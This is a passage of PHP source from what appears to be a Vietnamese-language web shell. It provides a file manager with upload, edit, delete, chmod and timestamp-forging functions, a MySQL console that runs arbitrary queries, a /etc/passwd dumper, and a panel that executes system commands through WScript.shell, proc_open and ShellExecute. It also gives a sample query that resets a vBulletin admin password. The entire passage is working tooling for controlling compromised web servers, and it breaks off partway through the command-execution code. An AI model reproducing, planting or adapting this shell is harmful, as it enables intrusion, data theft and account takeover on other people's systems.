758 p('<font color=yellow face=tahoma size=2><B>Quản lí dữ liệu</b> </font> Ổ đĩa còn trống <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
759?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
760 <form action="" method="post" id="godir" name="godir">
761 <tr>
762 <td nowrap>Directory (<?php
763 echo $dir_writeable;
764?>, <?php
765 echo getChmod($nowpath);
766?>)</td>
767 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
768 echo $nowpath;
769?>" type="text" style="width:100%;margin:0 8px;"></td>
770 <td nowrap><input class="bt" value="Duy" type="submit"></td>
771 </tr>
772 </form>
773 </table>
774 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
775 <script type="text/javascript">
776function createdir(){
777 var newdirname;
778 newdirname = prompt('directory name:', '');
779 if (!newdirname) return;
780 $('createdir').newdirname.value=newdirname;
781 $('createdir').submit();
782}
783function fileperm(pfile){
784 var newperm;
785 newperm = prompt('Path của file/folder:'+pfile+'\n Thuộc tính mới:', '');
786 if (!newperm) return;
787 $('fileperm').newperm.value=newperm;
788 $('fileperm').pfile.value=pfile;
789 $('fileperm').submit();
790}
791function copyfile(sname){
792 var tofile;
793 tofile = prompt('Path file cũ:'+sname+'\n Path file mới (ghi đầy đủ path):', '');
794 if (!tofile) return;
795 $('copyfile').tofile.value=tofile;
796 $('copyfile').sname.value=sname;
797 $('copyfile').submit();
798}
799function rename(oldname){
800 var newfilename;
801 newfilename = prompt('Path folder cũ:'+oldname+'\n Tên mới:', '');
802 if (!newfilename) return;
803 $('rename').newfilename.value=newfilename;
804 $('rename').oldname.value=oldname;
805 $('rename').submit();
806}
807function dofile(doing,thefile,m){
808 if (m && !confirm(m)) {
809 return;
810 }
811 $('filelist').doing.value=doing;
812 if (thefile){
813 $('filelist').thefile.value=thefile;
814 }
815 $('filelist').submit();
816}
817function createfile(nowpath){
818 var filename;
819 filename = prompt('file name:', '');
820 if (!filename) return;
821 opfile('editfile',nowpath + filename,nowpath);
822}
823function opfile(action,opfile,dir){
824 $('fileopform').action.value=action;
825 $('fileopform').opfile.value=opfile;
826 $('fileopform').dir.value=dir;
827 $('fileopform').submit();
828}
829function godir(dir,view_writable){
830 if (view_writable) {
831 $('godir').view_writable.value=1;
832 }
833 $('godir').dir.value=dir;
834 $('godir').submit();
835}
836</script>
837 <?php
838 //setup php for working with Unicode data
839 mb_internal_encoding('UTF-8');
840 mb_http_output('UTF-8');
841 mb_http_input('UTF-8');
842 mb_language('uni');
843 mb_regex_encoding('UTF-8');
844 ob_start('mb_output_handler');
845 tbhead();
846 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
847 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
848 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">Thư mục gốc</a>');
849 if ($view_writable) {
850 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">Xem tất cả</a>');
851 } else {
852 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">Chỉ xem thư mục</a>');
853 }
854 p(' | <a href="javascript:createdir();">Tạo thư mục mới</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Tạo file mới</a>');
855 if (IS_WIN && IS_COM) {
856 $obj = new COM('scripting.filesystemobject');
857 if ($obj && is_object($obj)) {
858 $DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
859 foreach ($obj->Drives as $drive) {
860 if ($drive->DriveType == 2) {
861 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
862 } else {
863 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
864 }
865 }
866 }
867 }
868 p('</td></tr></form>');
869 p('<tr class="head"><td> </td><td>Tên file</td><td width="16%">Sửa lần cuối</td><td width="10%">Kích thước</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
870 $dirdata = array();
871 $filedata = array();
872 if ($view_writable) {
873 $dirdata = GetList($nowpath);
874 } else {
875 $dirs = @opendir($dir);
876 while ($file = @readdir($dirs)) {
877 $filepath = $nowpath . $file;
878 if (@is_dir($filepath)) {
879 $dirdb['filename'] = $file;
880 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
881 $dirdb['dirchmod'] = getChmod($filepath);
882 $dirdb['dirperm'] = getPerms($filepath);
883 $dirdb['fileowner'] = getUser($filepath);
884 $dirdb['dirlink'] = $nowpath;
885 $dirdb['server_link'] = $filepath;
886 $dirdb['client_link'] = ue($filepath);
887 $dirdata[] = $dirdb;
888 } else {
889 $filedb['filename'] = $file;
890 $filedb['size'] = sizecount(@filesize($filepath));
891 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
892 $filedb['filechmod'] = getChmod($filepath);
893 $filedb['fileperm'] = getPerms($filepath);
894 $filedb['fileowner'] = getUser($filepath);
895 $filedb['dirlink'] = $nowpath;
896 $filedb['server_link'] = $filepath;
897 $filedb['client_link'] = ue($filepath);
898 $filedata[] = $filedb;
899 }
900 }
901 unset($dirdb);
902 unset($filedb);
903 @closedir($dirs);
904 }
905 @sort($dirdata);
906 @sort($filedata);
907 $dir_i = '0';
908 foreach ($dirdata as $key => $dirdb) {
909 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
910 $thisbg = bg();
911 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
912 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
913 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
914 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
915 p('<td nowrap>--</td>');
916 p('<td nowrap>');
917 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
918 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
919 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Duy muốn xóa??? ' . $dirdb['filename'] . '? \\n\\nTất cả file trong thư mục sẽ bị xóa??.\')">Xóa</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Đổi tên</a></td>');
920 p('</tr>');
921 $dir_i++;
922 } else {
923 if ($dirdb['filename'] == '..') {
924 p('<tr class=fout>');
925 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Thư mục trước</a></td>');
926 p('</tr>');
927 }
928 }
929 }
930 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
931 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
932 makehide('action', 'file');
933 makehide('thefile');
934 makehide('doing');
935 makehide('dir', $nowpath);
936 $file_i = '0';
937 foreach ($filedata as $key => $filedb) {
938 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
939 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
940 $thisbg = bg();
941 p('<tr class="fout" onmouseover="this.className=\focus\;" onmouseout="this.className=\fout\;">');
942 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
943 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
944 p('<td nowrap>' . $filedb['mtime'] . '</td>');
945 p('<td nowrap>' . $filedb['size'] . '</td>');
946 p('<td nowrap>');
947 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
948 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
949 p('<td nowrap>');
950 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Tải về</a> | ');
951 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao chép</a> | ');
952 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Sửa</a> | ');
953 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Đổi tên</a> | ');
954 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Thời gian</a>');
955 p('</td></tr>');
956 $file_i++;
957 $file_i++;
958 }
959 }
960 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Tải về những mục đã chọn</a> - <a href="javascript:dofile(\'delfiles\');">Xóa </a></td><td colspan="4" align="right">' . $dir_i . ' Thư mục / ' . $file_i . ' files</td></tr>');
961 p('</form></table>');
962} // end dir
963
964?><script type="text/javascript">
965function mysqlfile(doing){
966 if(!doing) return;
967 $('doing').value=doing;
968 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
969 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
970 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
971 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
972 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
973 $('mysqlfile').charset.value=$('dbinfo').charset.value;
974 $('mysqlfile').submit();
975}
976</script>
977
978<?php
979//setup php for working with Unicode data
980mb_internal_encoding('UTF-8');
981mb_http_output('UTF-8');
982mb_http_input('UTF-8');
983mb_language('uni');
984mb_regex_encoding('UTF-8');
985ob_start('mb_output_handler');
986if ($action == 'sqladmin') {
987 !$dbhost && $dbhost = 'localhost';
988 !$dbuser && $dbuser = 'root';
989 !$dbport && $dbport = '3306';
990 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
991 if (isset($dbhost)) {
992 $dbform.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
993 }
994 if (isset($dbuser)) {
995 $dbform.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
996 }
997 if (isset($dbpass)) {
998 $dbform.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
999 }
1000 if (isset($dbport)) {
1001 $dbform.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1002 }
1003 if (isset($dbname)) {
1004 $dbform.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1005 }
1006 if (isset($charset)) {
1007 $dbform.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1008 }
1009 if ($doing == 'backupmysql' && $saveasfile) {
1010 if (!$table) {
1011 m('Please choose the table');
1012 } else {
1013 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1014 $table = array_flip($table);
1015 $fp = @fopen($path, 'w');
1016 if ($fp) {
1017 $result = q('SHOW tables');
1018 if (!$result) p('<h2>' . mysql_error() . '</h2>');
1019 $mysqldata = '';
1020 while ($currow = mysql_fetch_array($result)) {
1021 if (isset($table[$currow[0]])) {
1022 sqldumptable($currow[0], $fp);
1023 }
1024 }
1025 fclose($fp);
1026 $fileurl = str_replace(SA_ROOT, '', $path);
1027 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
1028 mysql_close();
1029 } else {
1030 m('Backup failed');
1031 }
1032 }
1033 }
1034 if ($insert && $insertsql) {
1035 $keystr = $valstr = $tmp = '';
1036 foreach ($insertsql as $key => $val) {
1037 if ($val) {
1038 $keystr.= $tmp . $key;
1039 $valstr.= $tmp . "'" . addslashes($val) . "'";
1040 $tmp = ',';
1041 }
1042 }
1043 if ($keystr && $valstr) {
1044 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1045 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1046 }
1047 }
1048 if ($update && $insertsql && $base64) {
1049 $valstr = $tmp = '';
1050 foreach ($insertsql as $key => $val) {
1051 $valstr.= $tmp . $key . "='" . addslashes($val) . "'";
1052 $tmp = ',';
1053 }
1054 if ($valstr) {
1055 $where = base64_decode($base64);
1056 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1057 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Cập nhật thành công' : mysql_error());
1058 }
1059 }
1060 if ($doing == 'del' && $base64) {
1061 $where = base64_decode($base64);
1062 $delete_sql = "DELETE FROM $tablename WHERE $where";
1063 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1064 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1065 }
1066 if ($tablename && $doing == 'drop') {
1067 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1068 if (q("DROP TABLE $tablename")) {
1069 m('Drop table of success');
1070 $tablename = '';
1071 } else {
1072 m(mysql_error());
1073 }
1074 }
1075 $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
1076 formhead(array('title' => 'MYSQL Manager'));
1077 makehide('action', 'sqladmin');
1078 p('<p>');
1079 p('DBHost:');
1080 makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
1081 p(':');
1082 makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
1083 p('DBUser:');
1084 makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
1085 p('DBPass:');
1086 makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
1087 p('DBCharset:');
1088 makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
1089 makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
1090 p('</p>');
1091 formfoot();
1092?><script type="text/javascript">
1093function editrecord(action, base64, tablename){
1094 if (action == 'del') {
1095 if (!confirm('Is or isn\'t deletion record?')) return;
1096 }
1097 $('recordlist').doing.value=action;
1098 $('recordlist').base64.value=base64;
1099 $('recordlist').tablename.value=tablename;
1100 $('recordlist').submit();
1101}
1102function moddbname(dbname) {
1103 if(!dbname) return;
1104 $('setdbname').dbname.value=dbname;
1105 $('setdbname').submit();
1106}
1107function settable(tablename,doing,page) {
1108 if(!tablename) return;
1109 if (doing) {
1110 $('settable').doing.value=doing;
1111 }
1112 if (page) {
1113 $('settable').page.value=page;
1114 }
1115 $('settable').tablename.value=tablename;
1116 $('settable').submit();
1117}
1118</script>
1119<?php
1120 formhead(array('name' => 'recordlist'));
1121 makehide('doing');
1122 makehide('action', 'sqladmin');
1123 makehide('base64');
1124 makehide('tablename');
1125 p($dbform);
1126 formfoot();
1127 formhead(array('name' => 'setdbname'));
1128 makehide('action', 'sqladmin');
1129 p($dbform);
1130 if (!$dbname) {
1131 makehide('dbname');
1132 }
1133 formfoot();
1134 formhead(array('name' => 'settable'));
1135 makehide('action', 'sqladmin');
1136 p($dbform);
1137 makehide('tablename');
1138 makehide('page', $page);
1139 makehide('doing');
1140 formfoot();
1141 $cachetables = array();
1142 $pagenum = 30;
1143 $page = intval($page);
1144 if ($page) {
1145 $start_limit = ($page - 1) * $pagenum;
1146 } else {
1147 $start_limit = 0;
1148 $page = 1;
1149 }
1150 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1151 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1152 // get mysql server
1153 $mysqlver = mysql_get_server_info();
1154 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
1155 $highver = $mysqlver > '4.1' ? 1 : 0;
1156 // Show database
1157 $query = q("SHOW DATABASES");
1158 $dbs = array();
1159 $dbs[] = '-- Select a database --';
1160 while ($db = mysql_fetch_array($query)) {
1161 $dbs[$db['Database']] = $db['Database'];
1162 }
1163 makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
1164 $tabledb = array();
1165 if ($dbname) {
1166 p('<p>');
1167 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
1168 if ($tablename) {
1169 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
1170 }
1171 p('</p>');
1172 mysql_select_db($dbname);
1173 $getnumsql = '';
1174 $runquery = 0;
1175 if ($sql_query) {
1176 $runquery = 1;
1177 }
1178 $allowedit = 0;
1179 if ($tablename && !$sql_query) {
1180 $sql_query = "SELECT * FROM $tablename";
1181 $getnumsql = $sql_query;
1182 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
1183 $allowedit = 1;
1184 }
1185 p('<form action="' . $self . '" method="POST">');
1186 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>RiOZanR</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1187 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1188 makehide('tablename', $tablename);
1189 makehide('action', 'sqladmin');
1190 p($dbform);
1191 p('</form>');
1192 if ($tablename || ($runquery && $sql_query)) {
1193 if ($doing == 'structure') {
1194 $result = q("SHOW COLUMNS FROM $tablename");
1195 $rowdb = array();
1196 while ($row = mysql_fetch_array($result)) {
1197 $rowdb[] = $row;
1198 }
1199 p('<table border="0" cellpadding="3" cellspacing="0">');
1200 p('<tr class="head">');
1201 p('<td>Field</td>');
1202 p('<td>Type</td>');
1203 p('<td>Null</td>');
1204 p('<td>Key</td>');
1205 p('<td>Default</td>');
1206 p('<td>Extra</td>');
1207 p('</tr>');
1208 foreach ($rowdb as $row) {
1209 $thisbg = bg();
1210 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1211 p('<td>' . $row['Field'] . '</td>');
1212 p('<td>' . $row['Type'] . '</td>');
1213 p('<td>' . $row['Null'] . ' </td>');
1214 p('<td>' . $row['Key'] . ' </td>');
1215 p('<td>' . $row['Default'] . ' </td>');
1216 p('<td>' . $row['Extra'] . ' </td>');
1217 p('</tr>');
1218 }
1219 tbfoot();
1220 } elseif ($doing == 'insert' || $doing == 'edit') {
1221 $result = q('SHOW COLUMNS FROM ' . $tablename);
1222 while ($row = mysql_fetch_array($result)) {
1223 $rowdb[] = $row;
1224 }
1225 $rs = array();
1226 if ($doing == 'insert') {
1227 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
1228 } else {
1229 p('<h2>Update record in ' . $tablename . ' table »</h2>');
1230 $where = base64_decode($base64);
1231 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1232 $rs = mysql_fetch_array($result);
1233 }
1234 p('<form method="post" action="' . $self . '">');
1235 p($dbform);
1236 makehide('action', 'sqladmin');
1237 makehide('tablename', $tablename);
1238 p('<table border="0" cellpadding="3" cellspacing="0">');
1239 foreach ($rowdb as $row) {
1240 if ($rs[$row['Field']]) {
1241 $value = htmlspecialchars($rs[$row['Field']]);
1242 } else {
1243 $value = '';
1244 }
1245 $thisbg = bg();
1246 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1247 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1248 }
1249 if ($doing == 'insert') {
1250 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1251 } else {
1252 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1253 makehide('base64', $base64);
1254 }
1255 p('</table></form>');
1256 } else {
1257 $querys = @explode(';', $sql_query);
1258 foreach ($querys as $num => $query) {
1259 if ($query) {
1260 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1261 switch (qy($query)) {
1262 case 0:
1263 p('<h2>Error : ' . mysql_error() . '</h2>');
1264 break;
1265 case 1:
1266 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1267 $allowedit = 1;
1268 }
1269 if ($getnumsql) {
1270 $tatol = mysql_num_rows(q($getnumsql));
1271 $multipage = multi($tatol, $pagenum, $page, $tablename);
1272 }
1273 if (!$tablename) {
1274 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1275 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1276 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1277 $tablename = $matches[1][0];
1278 }
1279 $result = q($query);
1280 p($multipage);
1281 p('<table border="0" cellpadding="3" cellspacing="0">');
1282 p('<tr class="head">');
1283 if ($allowedit) p('<td>Action</td>');
1284 $fieldnum = @mysql_num_fields($result);
1285 for ($i = 0;$i < $fieldnum;$i++) {
1286 $name = @mysql_field_name($result, $i);
1287 $type = @mysql_field_type($result, $i);
1288 $len = @mysql_field_len($result, $i);
1289 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1290 }
1291 p('</tr>');
1292 while ($mn = @mysql_fetch_assoc($result)) {
1293 $thisbg = bg();
1294 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1295 $where = $tmp = $b1 = '';
1296 foreach ($mn as $key => $inside) {
1297 if ($inside) {
1298 $where.= $tmp . $key . "='" . addslashes($inside) . "'";
1299 $tmp = ' AND ';
1300 }
1301 $b1.= '<td nowrap>' . html_clean($inside) . ' </td>';
1302 }
1303 $where = base64_encode($where);
1304 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
1305 p($b1);
1306 p('</tr>');
1307 unset($b1);
1308 }
1309 tbfoot();
1310 p($multipage);
1311 break;
1312 case 2:
1313 $ar = mysql_affected_rows();
1314 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1315 break;
1316 }
1317 }
1318 }
1319 }
1320 } else {
1321 $query = q("SHOW TABLE STATUS");
1322 $table_num = $table_rows = $data_size = 0;
1323 $tabledb = array();
1324 while ($table = mysql_fetch_array($query)) {
1325 $data_size = $data_size + $table['Data_length'];
1326 $table_rows = $table_rows + $table['Rows'];
1327 $table['Data_length'] = sizecount($table['Data_length']);
1328 $table_num++;
1329 $tabledb[] = $table;
1330 }
1331 $data_size = sizecount($data_size);
1332 unset($table);
1333 p('<table border="0" cellpadding="0" cellspacing="0">');
1334 p('<form action="' . $self . '" method="POST">');
1335 makehide('action', 'sqladmin');
1336 p($dbform);
1337 p('<tr class="head">');
1338 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1339 p('<td>Name</td>');
1340 p('<td>Rows</td>');
1341 p('<td>Data_length</td>');
1342 p('<td>Create_time</td>');
1343 p('<td>Update_time</td>');
1344 if ($highver) {
1345 p('<td>Engine</td>');
1346 p('<td>Collation</td>');
1347 }
1348 p('</tr>');
1349 foreach ($tabledb as $key => $table) {
1350 $thisbg = bg();
1351 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1352 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1353 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1354 p('<td>' . $table['Rows'] . '</td>');
1355 p('<td>' . $table['Data_length'] . '</td>');
1356 p('<td>' . $table['Create_time'] . '</td>');
1357 p('<td>' . $table['Update_time'] . '</td>');
1358 if ($highver) {
1359 p('<td>' . $table['Engine'] . '</td>');
1360 p('<td>' . $table['Collation'] . '</td>');
1361 }
1362 p('</tr>');
1363 }
1364 p('<tr class=fout>');
1365 p('<td> </td>');
1366 p('<td>Total tables: ' . $table_num . '</td>');
1367 p('<td>' . $table_rows . '</td>');
1368 p('<td>' . $data_size . '</td>');
1369 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1370 p('</tr>');
1371 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1372 makehide('doing', 'backupmysql');
1373 formfoot();
1374 p("</table>");
1375 fr($query);
1376 }
1377 }
1378 }
1379 tbfoot();
1380 @mysql_close();
1381} elseif ($action == 'etcpwd') {
1382 formhead(array('title' => 'Get /etc/passwd'));
1383 makehide('action', 'etcpwd');
1384 makehide('dir', $nowpath);
1385 $i = 0;
1386 echo "<p><br><textarea class=\area\ id=\phpcodexxx\ name=\phpcodexxx\ cols=\100\ rows=\25\>";
1387 while ($i < 60000) {
1388 $line = posix_getpwuid($i);
1389 if (!empty($line)) {
1390 while (list($key, $vba_etcpwd) = each($line)) {
1391 echo "" . $vba_etcpwd . "
1392";
1393 break;
1394 }
1395 }
1396 $i++;
1397 }
1398 echo "</textarea></p>";
1399 formfoot();
1400} elseif ($action == 'command') {
1401 if (IS_WIN && IS_COM) {
1402 if ($program && $parameter) {
1403 $shell = new COM('Shell.Application');
1404 $a = $shell->ShellExecute($program, $parameter);
1405 m('Program run has ' . (!$a ? 'success' : 'fail'));
1406 }
1407 !$program && $program = 'c:\indows\ystem32\md.exe';
1408 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1409 formhead(array('title' => 'Execute Program'));
1410 makehide('action', 'shell');
1411 makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
1412 p('<p>');
1413 makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
1414 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1415 p('</p>');
1416 formfoot();
1417 }
1418 formhead(array('title' => 'Execute Command'));
1419 makehide('action', 'shell');
1420 if (IS_WIN && IS_COM) {
1421 $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
1422 makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
1423 }
1424 p('<p>');
1425 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
1426 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1427 p('</p>');
1428 formfoot();
1429 if ($command) {
1430 p('<hr width="100%" noshade /><pre>');
1431 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1432 $wsh = new COM('WScript.shell');
1433 $exec = $wsh->exec('cmd.exe /c ' . $command);
1434 $stdout = $exec->StdOut();
1435 $stroutput = $stdout->ReadAll();
1436 echo $stroutput;
1437 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1438 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
1439 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1440 if (is_resource($process)) {
1441 fwrite($pipes[0], $command . "
1442");
1443 fwrite($pipes[0], "exit
1444");
1445 fclose($pipes[0]);
1446 while (!feof($pipes[1])) {
1447 echo fgets($pipes[1], 1024);
1448 }
1449 fclose($pipes[1]);
1450 while (!feof($pipes[2])) {
1451 echo fgets($pipes[2], 1024);
1452 }
1453 fclose($pipes[2]);
1454 proc_close($process);
1455 }
1456 } else {
1457 echo (execute($command));
1458 }
